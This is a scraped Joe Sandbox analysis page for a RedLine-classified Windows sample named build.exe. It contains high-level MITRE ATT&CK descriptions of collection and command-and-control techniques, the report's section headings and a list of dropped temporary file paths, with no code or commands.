Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report build.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\build.exe.log

C:\Users\user\AppData\Local\Temp\tmp3203.tmp

C:\Users\user\AppData\Local\Temp\tmp3213.tmp

C:\Users\user\AppData\Local\Temp\tmp3224.tmp

C:\Users\user\AppData\Local\Temp\tmp3225.tmp

C:\Users\user\AppData\Local\Temp\tmp3236.tmp

C:\Users\user\AppData\Local\Temp\tmp3246.tmp

C:\Users\user\AppData\Local\Temp\tmp3257.tmp

C:\Users\user\AppData\Local\Temp\tmp3268.tmp

C:\Users\user\AppData\Local\Temp\tmp3269.tmp

C:\Users\user\AppData\Local\Temp\tmp67E1.tmp

C:\Users\user\AppData\Local\Temp\tmp6801.tmp

C:\Users\user\AppData\Local\Temp\tmp6802.tmp

C:\Users\user\AppData\Local\Temp\tmp6813.tmp

C:\Users\user\AppData\Local\Temp\tmp6814.tmp

C:\Users\user\AppData\Local\Temp\tmp6825.tmp

Windows Analysis Report
build.exe

Function 067BDD00 Relevance: 8.0, Strings: 6, Instructions: 465
COMMON